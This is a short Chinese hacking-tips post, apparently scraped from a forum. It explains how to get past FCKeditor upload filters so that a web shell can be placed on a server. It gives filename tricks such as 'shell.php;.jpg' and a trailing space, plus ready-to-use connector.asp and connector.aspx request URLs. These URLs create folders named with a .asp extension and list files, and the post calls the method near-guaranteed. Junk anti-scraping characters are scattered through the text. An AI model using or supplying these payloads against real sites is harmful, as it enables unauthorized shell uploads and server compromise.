很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
% \1 X9 J* _' I5 q
5 S& W3 T; d N提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。0 l1 ]# q, t9 d$ t% H+ g, }& a
+ H L4 `6 z. X( S继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
7 Q' a G* U3 U1 E% `; [* K' L) X% ~) B3 @$ \8 a/ V/ c
突破建立文件夹:9 F& W* x4 @# U5 k
# v/ p* r- j: b$ y
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp9 M& D4 y5 i! C& U4 [
& L) l7 g, f* E7 S4 r" i) c参数:5 h* {& J5 S P2 H1 ^$ U: m. J
8 K: A n* ~& ?$ }# c; f7 M当前目录名:CurrentFolder=/qing.asp( x3 |, X, `4 J1 ?" C5 i: J, E# b
/ n( s; ^( D( {$ P) I4 A! e
新的目录名:NewFolderName=x.asp9 j# `3 A9 ]" I" W u
) M& E2 z* @' W0 M其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……! ~! o; A# n/ {
0 Z9 G+ ^5 M5 f9 I& e2 I; y那么 x.asp 就已经建立生成了,此方法百试百灵!
+ o( o( O0 s2 M/ X* R, a; F `. R& n# v* _8 F1 q9 o
新建文件夹参数 x.asp,基本都能搞定。) g* q4 d$ D: S! X2 p: C3 T; [
5 O3 A, B4 q5 x, m" m
下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建1 P, A1 M! y$ d
1 o+ C( Y+ [4 P! ?' L5 d4 P. Gaspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp1 R/ c4 \" u: s8 Z/ q n5 v
5 p2 [. S- F4 G获取文件列表
4 p* N7 b V$ \/ L" D8 b' h2 l) \ aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F/ m+ d/ \5 c! G& N0 p8 w8 {% r
/ F5 ]: q% \+ k
|